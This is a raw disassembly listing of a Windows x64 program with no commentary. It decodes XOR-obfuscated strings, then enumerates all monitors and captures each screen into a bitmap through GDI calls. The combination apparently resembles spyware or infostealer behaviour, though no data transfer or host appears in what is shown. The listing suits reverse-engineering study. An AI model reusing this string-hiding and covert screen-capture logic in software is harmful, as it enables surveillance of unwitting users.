call fcn.140094bc6
xor edi, edi
xor esi, esi
jmp 0x14001c319
mov r11d, esi
neg r11d
and r11d, 7
lea rcx, [r11 + 0x10]
cmp rcx, r15
jbe 0x14001bd09
xor r11d, r11d
mov rax, r11
cmp rax, r15
jae 0x14001bc08
cmp byte [rsi + rax], 0
js 0x14001bc00
inc rax
jmp 0x14001bce8
test al, al
je 0x14001bd23
mov rdx, r14
jmp 0x14001bd2a
xor eax, eax
cmp r11, rax
je 0x14001eb82
cmp byte [rsi + rax], 0
js 0x14001bc00
inc rax
jmp 0x14001bd0b
cmp r14, rdx
cmovb rdx, r14
mov rcx, rdx
xor edx, edx
call fcn.140025f10
mov r13, rax
mov rbp, rdx
mov rcx, rax
mov rdx, rsi
mov r8, r12
call sub.msvcrt.dll_memcpy
movups xmm0, xmmword [rsp + 0x1a0]
movups xmm1, xmmword [rsp + 0x1b0]
movups xmm2, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xe0], xmm2
lea rax, [rsp + 0xc0]
movaps xmm0, xmmword [rax]
movaps xmm1, xmmword [rax + 0x10]
movaps xmm2, xmmword [rax + 0x20]
lea rbx, [rsp + 0x1a0]
movaps xmmword [rbx + 0x20], xmm2
movaps xmmword [rbx + 0x10], xmm1
movaps xmmword [rbx], xmm0
lea rax, [rsp + 0x150]
mov qword [rax], r13
mov qword [rax + 8], rbp
mov qword [rax + 0x10], r12
mov rdi, r12
lea r12, [0x140109be8]
mov r11b, 5
mov r13, r15
mov qword [rsp + 0xa0], r15
mov rax, rdi
mov qword [rsp + 0xa8], rdi
sub r13, rdi
jb case.0x14001c076.10
mov rax, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x160]
mov qword [rsp + 0xb8], rax
mov rdx, rax
sub rdx, rcx
jb case.0x14001c076.10
mov rax, qword [rsp + 0xa8]
add rax, rsi
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x80], rcx
add rcx, rax
xor edi, edi
xor r14d, r14d
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x90], rcx
mov r15, r13
sub r15, r14
jb case.0x14001c076.10
sub rdx, rdi
mov qword [rsp + 0x60], rdx
jb case.0x14001c076.10
mov r10, rbx
mov rax, qword [rsp + 0x78]
lea rbp, [rax + r14]
lea rax, [rcx + rdi]
mov qword [rsp + 0x68], rax
movzx eax, byte [rsp + 0x1c8]
movsxd r9, dword [r12 + rax*4]
add r9, r12
mov al, 9
movzx eax, al
mov cl, 7
movzx ecx, cl
mov dl, 6
movzx edx, dl
mov r8b, 4
movzx r8d, r8b
xor ebx, ebx
jmp r9
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x38], 0xbb
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0xc0]
mov rbx, r10
mov rdx, r10
mov r8, rbp
mov r9, r15
call fcn.140036fb1
add r14, qword [rsp + 0xc0]
mov al, byte [rsp + 0xc8]
add rdi, qword [rsp + 0xd0]
cmp al, 2
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x90]
jb 0x14001c251
cmp rdi, rdx
mov r11b, 5
jae case.0x14001c076.10
mov byte [rcx + rdi], 0xef
lea rax, [rdi + 1]
cmp rax, rdx
jae case.0x14001c076.10
mov byte [rcx + rdi + 1], 0xbf
lea rax, [rdi + 2]
cmp rax, rdx
jae case.0x14001c076.10
mov byte [rcx + rdi + 2], 0xbd
add rdi, 3
jmp 0x14001be3e
cmp r13, r14
je 0x14001c2a7
movzx r9d, byte [rbp]
cmp r9d, 0xef
je 0x14001bf8b
cmp r9d, 0xfe
je 0x14001bf76
cmp r9d, 0xff
jne case.default.0x14001bf73
mov byte [rsp + 0x1c8], 7
inc rbx
movsxd r9, dword [r12 + rcx*4]
add r9, r12
jmp r9
mov byte [rsp + 0x1c8], 6
inc rbx
movsxd r9, dword [r12 + rdx*4]
add r9, r12
jmp r9
mov byte [rsp + 0x1c8], 4
inc rbx
movsxd r9, dword [r12 + r8*4]
add r9, r12
jmp r9
mov byte [rsp + 0x1c8], 9
movsxd r9, dword [r12 + rax*4]
add r9, r12
jmp r9
cmp r13, r14
je 0x14001c2a7
cmp byte [rbp], 0xef
jne case.default.0x14001bfd3
mov byte [rsp + 0x1c8], 4
inc rbx
movsxd r9, dword [r12 + r8*4]
add r9, r12
jmp r9
mov byte [rsp + 0x1c8], 9
movsxd r9, dword [r12 + rax*4]
add r9, r12
jmp r9
cmp r13, r14
je 0x14001c2a7
cmp byte [rbp], 0xfe
jne case.default.0x14001c009
mov byte [rsp + 0x1c8], 6
inc rbx
movsxd r9, dword [r12 + rdx*4]
add r9, r12
jmp r9
mov byte [rsp + 0x1c8], 9
movsxd r9, dword [r12 + rax*4]
add r9, r12
jmp r9
cmp r13, r14
je 0x14001c2a7
cmp byte [rbp], 0xff
je case.default.0x14001c03c
mov byte [rsp + 0x1c8], 9
movsxd r9, dword [r12 + rax*4]
add r9, r12
jmp r9
mov byte [rsp + 0x1c8], 7
inc rbx
movsxd r9, dword [r12 + rcx*4]
add r9, r12
jmp r9
cmp rbx, r15
jae case.default.0x14001c076
cmp byte [rbp + rbx], 0xbb
jne case.default.0x14001c076
mov byte [rsp + 0x1c8], 5
inc rbx
movzx r9d, r11b
movsxd r9, dword [r12 + r9*4]
add r9, r12
jmp r9
cmp rbx, r15
jae 0x14001c187
cmp byte [rbp + rbx], 0xbf
jne 0x14001c187
mov byte [rsp + 0x1c8], 9
lea rax, [0x140138ec8]
cmp qword [rsp + 0x1c0], rax
je 0x14001c217
mov qword [rsp + 0x1c0], rax
mov rcx, r10
mov dl, 1
jmp 0x14001c207
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x38], 0xef
jmp 0x14001beb6
cmp rbx, r15
jae 0x14001c0ef
cmp byte [rbp + rbx], 0xff
je 0x14001c1e1
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x38], 0xfe
jmp 0x14001beb6
cmp rbx, r15
jae 0x14001c1be
cmp byte [rbp + rbx], 0xfe
jne 0x14001c1be
mov byte [rsp + 0x1c8], 9
lea rax, [0x140138ea0]
cmp qword [rsp + 0x1c0], rax
je 0x14001c217
mov qword [rsp + 0x1c0], rax
mov rcx, r10
mov dl, 0xb
jmp 0x14001c207
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xc0]
mov rbx, r10
mov rdx, r10
mov r8, rbp
mov r9, r15
call fcn.1400370b7
jmp 0x14001becf
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xc0]
mov rbx, r10
mov rdx, r10
mov r8, rbp
mov r9, r15
call fcn.14003710f
jmp 0x14001becf
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x38], 0xff
jmp 0x14001beb6
mov byte [rsp + 0x1c8], 9
lea rax, [0x140138e78]
cmp qword [rsp + 0x1c0], rax
je 0x14001c217
mov qword [rsp + 0x1c0], rax
mov rcx, r10
mov dl, 0xa
xor r8d, r8d
call fcn.14003725a
lea r10, [rsp + 0x1a0]
inc rbx
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xc0]
mov rbx, r10
mov rdx, r10
mov r8, rbp
mov r9, r15
call fcn.1400372f1
jmp 0x14001becf
add rdi, qword [rsp + 0x80]
mov qword [rsp + 0x160], rdi
test al, al
je 0x14001c2b7
mov rax, qword [rsp + 0xa8]
add rax, r14
mov r13, qword [rsp + 0xa0]
mov rdx, r13
mov rdi, rax
sub rdx, rax
mov rcx, rbx
call fcn.140036baf
test rax, rax
je case.0x14001c076.10
lea rcx, [rsp + 0x150]
call fcn.140025c1f
mov r11b, 5
jmp 0x14001bdc9
add rdi, qword [rsp + 0x80]
mov qword [rsp + 0x160], rdi
mov rsi, qword [rsp + 0xb8]
mov r15, rdi
mov rax, qword [rsp + 0x98]
lea rdx, [rsp + 0x218]
mov qword [rdx], rax
mov qword [rdx + 8], rsi
mov qword [rdx + 0x10], r15
lea rbx, [rsp + 0xc0]
mov rcx, rbx
call fcn.140025fc3
mov rdi, qword [rbx]
mov rsi, qword [rbx + 8]
mov rbx, qword [rbx + 0x10]
lea rcx, [rsp + 0x230]
call fcn.14003f2f9
lea rcx, [rsp + 0x590]
call fcn.1400a6f2d
test rdi, rdi
jne 0x14001c319
xor edi, edi
mov rax, qword [rsp + 0xa38]
mov rcx, qword [rsp + 0xa40]
call qword [rax + 0x18]
test rdi, rdi
jne 0x14001c344
test rsi, rsi
jne 0x14001c342
mov cx, 5
call fcn.140066be6
mov rsi, rax
xor edi, edi
mov r14, qword [rsp + 0xf10]
test r14, r14
je 0x14001c374
mov r15, qword [rsp + 0xf18]
mov rcx, r14
call qword [r15]
mov r8, qword [r15 + 8]
test r8, r8
je 0x14001c374
mov rdx, qword [r15 + 0x10]
mov rcx, r14
call fcn.140010a9a
cmp qword [rsp + 0xf20], 0
je 0x14001c38c
lea rcx, [rsp + 0xf20]
call fcn.1400a6015
test rdi, rdi
je case.0x14001c076.10
lea r14, [rsp + 0x450]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.1400aebfc
cmp byte [r14], 6
je case.0x14001c076.10
movups xmm0, xmmword [rsp + 0x450]
movups xmm1, xmmword [rsp + 0x460]
movaps xmmword [rsp + 0x2a0], xmm1
movaps xmmword [rsp + 0x290], xmm0
lea rbx, [rsp + 0xa80]
mov rcx, rbx
call fcn.1400059ec
movaps xmm0, xmmword [rsp + 0x290]
movaps xmm1, xmmword [rsp + 0x2a0]
movaps xmmword [rbx + 0x10], xmm1
movaps xmmword [rbx], xmm0
mov rcx, rdi
mov rdx, rsi
call fcn.140025ee7
cmp qword [rsp + 0x860], 3
jne 0x14001c41f
lea rcx, [rsp + 0x860]
call fcn.14000528b
mov edi, 0xb
mov ecx, 0xb
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movabs rax, 0xd3ae8740d6aa5385
mov qword [rsi], rax
mov word [rsi + 8], 0x98b1
mov byte [rsi + 0xa], 5
mov ecx, 0xb
mov edx, 1
call fcn.140006f0f
movabs rcx, 0xb980e826b8c323ec
mov qword [rax], rcx
mov word [rax + 8], 0xf7c2
mov byte [rax + 0xa], 0x6b
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], rdi
mov qword [rsp + 0x870], rdi
xor ecx, ecx
cmp rcx, 0xb
je 0x14001c49e
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x14001c48d
lea rbx, [rsp + 0x450]
lea rdi, [rsp + 0x860]
mov rcx, rbx
mov rdx, rdi
call fcn.140006f2f
cmp byte [rbx + 0x20], 2
jne case.0x14001c076.10
lea rbx, [rsp + 0x450]
mov r12, qword [rbx]
mov r13, qword [rbx + 8]
mov r14, qword [rbx + 0x10]
mov edx, 0xb
mov rcx, rsi
call fcn.140025ee7
mov rcx, r14
call fcn.1400b14fe
mov rsi, rax
mov r15, rdx
mov rcx, rax
mov rdx, r12
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x290], rsi
mov qword [rsp + 0x298], r15
mov qword [rsp + 0x2a0], r14
mov ecx, pe_nt_image_headers64
xor edx, edx
call fcn.140025f10
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], rdx
and qword [rsp + 0x870], 0
and qword [rbx + 0x18], 0
mov byte [rbx + 0x20], 0
lea rax, [0x140168c92]
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], 2
mov qword [rbx], rdi
lea rcx, [rsp + 0xa80]
mov rdx, rbx
call fcn.140002c5f
mov rax, qword [rsp + 0x860]
mov qword [rsp + 0xa8], rax
test rax, rax
je case.0x14001c076.10
mov rax, qword [rsp + 0x868]
mov qword [rsp + 0x210], rax
mov rbx, qword [rsp + 0x870]
mov edi, 0x2d
mov ecx, 0x2d
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movaps xmm0, xmmword [str._vut]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x140109830]
movups xmmword [rax + 0x10], xmm0
movabs rax, 0x29157ad27f62e84
mov qword [rsi + 0x20], rax
mov dword [rsi + 0x28], 0x6080c1b3
mov byte [rsi + 0x2c], 0xe9
mov ecx, 0x2d
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x140109840]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x140109850]
movups xmmword [rax + 0x10], xmm0
movabs rcx, 0x63f639c4548547e9
mov qword [rax + 0x20], rcx
mov dword [rax + 0x28], 0x42e8b5c6
mov byte [rax + 0x2c], 0xc5
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], rdi
mov qword [rsp + 0x870], rdi
xor ecx, ecx
cmp rcx, 0x2d
je 0x14001c649
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x14001c638
mov qword [rsp + 0x198], r13
mov qword [rsp + 0xb0], r12
lea rdi, [rsp + 0x450]
lea rdx, [rsp + 0x860]
mov rcx, rdi
call fcn.140006f2f
cmp byte [rdi + 0x20], 2
jne case.0x14001c076.10
lea r12, [rsp + 0x450]
mov r14, qword [r12]
mov rax, qword [r12 + 8]
mov qword [rsp + 0x190], rax
mov rdi, qword [r12 + 0x10]
mov edx, 0x2d
mov rcx, rsi
call fcn.140025ee7
xorps xmm0, xmm0
lea rax, [rsp + 0x860]
movups xmmword [rax + 8], xmm0
mov qword [rax], 1
mov qword [rsp + 0x20], rdi
mov rcx, r12
mov rdx, qword [rsp + 0xa8]
mov qword [rsp + 0x88], rbx
mov r8, rbx
mov qword [rsp + 0x288], r14
mov r9, r14
call fcn.140033620
mov rax, qword [r12]
mov qword [rsp + 0x80], rax
mov r15, qword [r12 + 8]
mov rax, qword [r12 + 0x18]
mov rcx, qword [r12 + 0x20]
mov qword [rsp + 0x68], rcx
mov r14, qword [r12 + 0x28]
mov rcx, qword [r12 + 0x38]
mov qword [rsp + 0x78], rcx
mov rbp, qword [r12 + 0x48]
mov rsi, qword [r12 + 0x50]
mov rbx, qword [r12 + 0x58]
mov rdi, qword [r12 + 0x60]
lea rcx, [rdi - 1]
mov qword [rsp + 0x60], rcx
mov rcx, rax
and rcx, 0xffffffffffffff00
mov qword [rsp + 0xb8], rcx
mov qword [rsp + 0xa0], rax
mov r13d, eax
xor edx, edx
cmp qword [rsp + 0x80], 0
mov qword [rsp + 0x70], rdx
je 0x14001c8a4
movzx eax, r13b
or rax, qword [rsp + 0xb8]
mov rcx, rdi
sub rcx, rax
mov qword [rsp + 0x98], rcx
lea rcx, [r15 - 1]
mov qword [rsp + 0x90], rcx
mov r11, qword [rsp + 0x78]
mov rdx, r11
cmp r15, rdx
mov rcx, rdx
cmova rcx, r15
cmp r11, 0xffffffffffffffff
cmove rcx, r15
mov r10d, 0
cmovne r10, rdx
mov r8, qword [rsp + 0x60]
lea r9, [r8 + r14]
cmp r9, rsi
jae 0x14001c97e
movzx r9d, byte [rbp + r9]
mov r8, qword [rsp + 0x68]
bt r8, r9
jae 0x14001c80e
lea r11, [r14 + rbp]
mov r9, rcx
cmp r9, rdi
jae 0x14001c819
mov r12, r9
lea r8, [r14 + r9]
cmp r8, rsi
jae case.0x14001c076.10
lea r9, [r12 + 1]
mov r8b, byte [rbx + r12]
cmp r8b, byte [r11 + r12]
je 0x14001c7da
sub r14, r15
add r14, r12
inc r14
mov r11, qword [rsp + 0x78]
jmp 0x14001c811
add r14, rdi
cmp r11, 0xffffffffffffffff
je 0x14001c7b0
jmp 0x14001c872
mov r12, qword [rsp + 0x90]
lea r9, [r12 + 1]
cmp r10, r9
jae 0x14001c879
cmp r12, rdi
jae case.0x14001c076.10
lea r9, [r14 + r12]
cmp r9, rsi
jae case.0x14001c076.10
mov r9b, byte [rbx + r12]
lea r8, [r12 - 1]
cmp r9b, byte [r11 + r12]
mov r12, r8
je 0x14001c821
add r14, rax
mov r11, qword [rsp + 0x78]
cmp r11, 0xffffffffffffffff
je 0x14001c7b0
mov rdx, qword [rsp + 0x98]
jmp 0x14001c794
xor edx, edx
jmp 0x14001c794
cmp qword [rsp + 0x78], 0xffffffffffffffff
mov eax, 0
cmovne rdx, rax
lea rax, [r14 + rdi]
mov r8, r14
mov qword [rsp + 0x90], rax
mov r14, rax
mov qword [rsp + 0x78], rdx
jmp 0x14001c934
test dword [rsp + 0xa0], 0xff0000
jne 0x14001c983
mov rcx, rbp
mov rdx, rsi
mov r8, r15
call fcn.140005ca6
add rdx, rax
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x458], rdx
mov rcx, r12
call fcn.14001145d
test r13b, r13b
jne 0x14001c91c
cmp eax, 0x110000
je 0x14001c97e
mov ecx, 1
cmp eax, 0x80
jb 0x14001c914
mov ecx, 2
cmp eax, 0x800
jb 0x14001c914
cmp eax, 0x10000
mov ecx, 4
sbb rcx, 0
add r15, rcx
mov r13b, 1
jmp 0x14001c8b5
test rbp, rbp
je 0x14001eb0f
xor r13b, 1
mov r8, r15
mov qword [rsp + 0x90], r15
mov rax, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x70]
add rdx, rax
add r8, rax
lea r12, [rsp + 0x860]
mov rcx, r12
call fcn.140025bdc
mov rcx, r12
lea rdx, [0x14018edf8]
mov r8, rdx
call fcn.140025bdc
mov rdx, qword [rsp + 0x90]
lea r12, [rsp + 0x450]
jmp 0x14001c752
mov rdx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0xa8]
add rdx, rdi
mov r8, qword [rsp + 0x88]
add r8, rdi
lea rsi, [rsp + 0x860]
mov rcx, rsi
call fcn.140025bdc
mov rax, qword [rsi + 0x10]
lea r8, [rsp + 0x450]
mov qword [r8 + 0x10], rax
movups xmm0, xmmword [rsi]
movaps xmmword [r8], xmm0
lea rcx, [rsp + 0xb90]
lea rdx, [rsp + 0x290]
call fcn.140018a5e
mov rcx, qword [rsp + 0x288]
mov rdx, qword [rsp + 0x190]
call fcn.140025ee7
mov rcx, rdi
mov rdx, qword [rsp + 0x210]
call fcn.140025ee7
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0x198]
call fcn.140025ee7
mov ecx, 0x18
call fcn.140036882
mov rbx, rax
mov qword [rax], 4
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
lea r8, [0x140036923]
xor ecx, ecx
xor edx, edx
mov r9, rax
call sub.user32.dll_EnumDisplayMonitors
test eax, eax
je 0x14002581d
mov r12, qword [rbx + 0x10]
test r12, r12
jne 0x14001ca5b
mov r13d, 4
xor esi, esi
jmp 0x14001cd6e
mov qword [rsp + 0x80], rbx
mov r14, qword [rbx]
mov rdx, r12
shl rdx, 5
mov ecx, 4
call fcn.140062702
test rax, rax
je case.0x14001c076.10
mov r13, rax
xor esi, esi
lea r15, [rsp + 0x450]
xorps xmm8, xmm8
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x70], r12
mov qword [rsp + 0xa8], rax
imul r12, rsi, 0x68
lea rbp, [r14 + r12]
add rbp, 0x28
mov rcx, rbp
call fcn.1400d5aad
mov r8, rdx
mov rcx, r15
mov rdx, rax
call fcn.1400b2f49
mov rcx, r15
call fcn.1400d5ac7
test rdx, rdx
je case.0x14001c076.10
mov rbx, rax
mov r13, rdx
lea rax, [rax + rdx*2]
add rax, 0xfffffffffffffffe
mov qword [rsp + 0x450], rbx
mov qword [rsp + 0x458], rax
and word [rsp + 0x460], 0
lea rcx, [rsp + 0x860]
mov rdx, r15
call fcn.1400263f0
and word [rbx], 0
add r13, r13
mov edx, 2
mov rcx, rbx
mov r8, r13
call fcn.140010a9a
mov r13d, dword [r14 + r12 + 4]
mov ebx, dword [r14 + r12 + 8]
mov eax, dword [r14 + r12 + 0xc]
mov dword [rsp + 0x60], eax
mov r15d, dword [r14 + r12 + 0x10]
mov edi, dword [r14 + r12 + 0x24]
mov r14, qword [rsp + 0x860]
mov rax, qword [rsp + 0x870]
imul r12d, eax, 0x27220a95
mov rcx, rax
shr rcx, 0x20
rol r12d, 5
xor r12d, ecx
mov rcx, r14
imul r12d, r12d, 0x27220a95
cmp rax, 3
jbe 0x14001cb8a
rol r12d, 5
xor r12d, dword [rcx]
add rcx, 4
add rax, 0xfffffffffffffffc
jmp 0x14001cb6c
xor edx, edx
cmp rax, rdx
je 0x14001cba9
rol r12d, 5
movzx r8d, byte [rcx + rdx]
xor r12d, r8d
imul r12d, r12d, 0x27220a95
inc rdx
jmp 0x14001cb8c
lea rax, [rsp + 0x49c]
movups xmmword [rax], xmm8
movups xmmword [rax + 0x4a], xmm8
movups xmmword [rax + 0x3a], xmm8
movups xmmword [rax + 0x2a], xmm8
movups xmmword [rax + 0x1a], xmm8
movaps xmmword [rsp + 0x480], xmm8
movaps xmmword [rsp + 0x470], xmm8
movaps xmmword [rsp + 0x460], xmm8
movaps xmmword [rsp + 0x450], xmm8
movabs rcx, 0xdc00000000
mov qword [rsp + 0x490], rcx
and dword [rsp + 0x498], 0
and word [rax + 0x18], 0
and qword [rax + 0x10], 0
movups xmmword [rax + 0x7a], xmm8
movups xmmword [rax + 0x6a], xmm8
movups xmmword [rax + 0x5a], xmm8
and qword [rax + 0x88], 0
mov rcx, rbp
mov edx, 0xffffffff
lea r8, [rsp + 0x450]
xor r9d, r9d
call sub.user32.dll_EnumDisplaySettingsExW
test eax, eax
mov dword [rsp + 0x68], edi
mov qword [rsp + 0x78], r14
je 0x14001cd46
mov eax, dword [rsp + 0x4a4]
cvtsi2ss xmm9, rax
sub r15d, ebx
mov edi, dword [rsp + 0x60]
sub edi, r13d
mov rcx, rbp
mov rdx, rbp
xor r8d, r8d
xor r9d, r9d
call sub.gdi32.dll_CreateDCW
mov r14d, r15d
mov r15d, ebx
mov ebx, r13d
mov r13, rax
mov rcx, rax
mov edx, 8
call sub.gdi32.dll_GetDeviceCaps
mov ebp, eax
mov rcx, r13
mov edx, 0x76
call sub.gdi32.dll_GetDeviceCaps
cvtsi2ss xmm10, eax
cvtsi2ss xmm0, ebp
divss xmm10, xmm0
mov rcx, r13
call sub.gdi32.dll_DeleteDC
mov rdx, qword [rsp + 0x868]
mov rcx, qword [rsp + 0x78]
call fcn.140025ee7
mov rax, rsi
shl rax, 5
cmp dword [rsp + 0x68], 1
mov r13, qword [rsp + 0xa8]
mov dword [r13 + rax], r12d
mov dword [r13 + rax + 4], ebx
mov dword [r13 + rax + 8], r15d
mov dword [r13 + rax + 0xc], edi
mov dword [r13 + rax + 0x10], r14d
movss dword [r13 + rax + 0x14], xmm9
movss dword [r13 + rax + 0x18], xmm10
sete byte [r13 + rax + 0x1c]
movzx ecx, word [rsp + 0x450]
mov word [r13 + rax + 0x1d], cx
mov cl, byte [rsp + 0x452]
mov byte [r13 + rax + 0x1f], cl
inc rsi
mov r12, qword [rsp + 0x70]
cmp rsi, r12
lea r15, [rsp + 0x450]
mov r14, qword [rsp + 0x90]
jne 0x14001caa6
jmp 0x14001cd63
call fcn.1400d6c4f
mov ecx, eax
call fcn.140036805
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx]
xorps xmm9, xmm9
jmp 0x14001cc5d
mov rsi, r12
mov rbx, qword [rsp + 0x80]
mov rax, rbx
add rax, 8
mov rax, qword [rax]
test rax, rax
je 0x14001cd8e
imul r8, rax, 0x68
mov rcx, qword [rbx]
mov edx, 4
call fcn.140010a9a
mov edx, 8
mov rcx, rbx
call fcn.1400259c0
mov rbx, rsi
shl rbx, 5
test rsi, rsi
jne 0x14001cdb2
mov r14d, 4
xor r15d, r15d
jmp 0x14001ce00
mov rax, rsi
shr rax, 0x3a
jne case.0x14001c076.10
mov ecx, 4
mov rdx, rbx
call fcn.140010aa4
test rax, rax
je case.0x14001c076.10
mov r14, rax
xor eax, eax
mov rcx, r12
movups xmm0, xmmword [r13 + rax]
movups xmm1, xmmword [r13 + rax + 0x10]
movups xmmword [r14 + rax + 0x10], xmm1
movups xmmword [r14 + rax], xmm0
add rax, 0x20
dec rcx
jne 0x14001cddd
mov r15, r12
mov qword [rsp + 0x190], rbx
mov qword [rsp + 0x288], rsi
test r12, r12
je 0x14001ce29
shl r12, 5
mov edx, 4
mov rcx, r13
mov r8, r12
call fcn.140010a9a
shl r15, 5
add r15, r14
xor ecx, ecx
movss xmm8, dword [0x140109860]
mov edx, 0x7fffffff
xorps xmm9, xmm9
lea rsi, [0x1400abede]
xor edi, edi
mov r12, r14
mov qword [rsp + 0xb8], r14
mov qword [rsp + 0x98], r15
cmp r12, r15
je 0x14001dbfe
cmp byte [r12 + 0x1c], 2
je 0x14001dbfe
inc rdi
movss xmm0, dword [r12 + 0x18]
mov eax, dword [r12 + 0xc]
cvtsi2ss xmm1, rax
mulss xmm1, xmm0
cvttss2si r8d, xmm1
ucomiss xmm1, xmm8
mov eax, dword [r12 + 0x10]
cmova r8d, edx
ucomiss xmm1, xmm1
cmovp r8d, ecx
mov dword [rsp + 0x68], r8d
cvtsi2ss xmm1, rax
mulss xmm1, xmm0
cvttss2si r13d, xmm1
ucomiss xmm1, xmm8
cmova r13d, edx
mov eax, dword [r12]
ucomiss xmm1, xmm1
mov qword [rsp + 0x410], rdi
cmovp r13d, ecx
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x1a0], eax
mov ecx, 0x18
call fcn.1400abe42
mov rbp, rax
mov qword [rax], 4
movups xmmword [rax + 8], xmm9
xor ecx, ecx
xor edx, edx
mov r8, rsi
mov r9, rax
call sub.user32.dll_EnumDisplayMonitors
test eax, eax
je 0x14001e9c1
mov qword [rsp + 0x90], rdi
add r12, 0x20
mov qword [rsp + 0xa8], r12
mov r12, qword [rbp]
imul r14, qword [rbp + 0x10], 0x68
add r14, r12
cmp r12, r14
je 0x14001db9e
mov r15, r12
mov rbx, rbp
mov ebp, r13d
mov ecx, 0x1a
lea rdi, [rsp + 0x450]
mov rsi, r12
rep movsd dword [rdi], dword [rsi]
lea rcx, [rsp + 0x478]
call fcn.1400d5aad
mov r8, rdx
lea r13, [rsp + 0x290]
mov rcx, r13
mov rdx, rax
call fcn.1400b2f49
mov rcx, r13
call fcn.1400d5ac7
test rdx, rdx
je case.0x14001c076.10
mov rsi, rax
mov rdi, rdx
lea r12, [r15 + 0x68]
lea rax, [rax + rdx*2]
add rax, 0xfffffffffffffffe
mov qword [rsp + 0x290], rsi
mov qword [rsp + 0x298], rax
and word [rsp + 0x2a0], 0
lea rcx, [rsp + 0xc0]
mov rdx, r13
call fcn.1400263f0
and word [rsi], 0
add rdi, rdi
mov edx, 2
mov rcx, rsi
mov r8, rdi
call fcn.140010a9a
mov rcx, qword [rsp + 0xc0]
mov rax, qword [rsp + 0xd0]
imul esi, eax, 0x27220a95
mov rdx, rax
shr rdx, 0x20
rol esi, 5
xor esi, edx
mov rdx, rcx
mov r13d, ebp
mov rbp, rbx
imul esi, esi, 0x27220a95
cmp rax, 3
jbe 0x14001d01f
rol esi, 5
xor esi, dword [rdx]
add rdx, 4
add rax, 0xfffffffffffffffc
jmp 0x14001d004
xor r8d, r8d
cmp rax, r8
je 0x14001d03d
rol esi, 5
movzx r9d, byte [rdx + r8]
xor esi, r9d
imul esi, esi, 0x27220a95
inc r8
jmp 0x14001d022
mov rdx, qword [rsp + 0xc8]
call fcn.140025ee7
cmp esi, dword [rsp + 0x60]
jne 0x14001cf2f
add r15, 0xc
mov ecx, 0x17
lea rdi, [rsp + 0x860]
mov rsi, r15
rep movsd dword [rdi], dword [rsi]
mov rcx, rbp
call fcn.1400ac080
lea rdi, [rsp + 0x87c]
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0x2c0], xmm3
movaps xmmword [rsp + 0x2b0], xmm2
movaps xmmword [rsp + 0x2a0], xmm1
movaps xmmword [rsp + 0x290], xmm0
lea rcx, [rsp + 0x290]
mov rdx, rcx
xor r8d, r8d
xor r9d, r9d
call sub.gdi32.dll_CreateDCW
mov r14, rax
mov rcx, rax
call sub.gdi32.dll_CreateCompatibleDC
mov r15, rax
mov rcx, r14
mov ebx, dword [rsp + 0x68]
mov edx, ebx
mov r8d, r13d
call sub.gdi32.dll_CreateCompatibleBitmap
mov r12, rax
mov rcx, r15
mov rdx, rax
call sub.gdi32.dll_SelectObject
mov rcx, r14
mov edx, 4
call sub.gdi32.dll_SetStretchBltMode
mov dword [rsp + 0x48], r13d
mov dword [rsp + 0x40], ebx
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r13d
and dword [rsp + 0x38], 0
mov dword [rsp + 0x50], 0xcc0020
and dword [rsp + 0x30], 0
mov rcx, r15
xor edx, edx
xor r8d, r8d
mov r9d, ebx
call sub.gdi32.dll_StretchBlt
test eax, eax
lea rsi, [rsp + 0x450]
je 0x14001eb16
mov dword [rsp + 0x860], 0x28
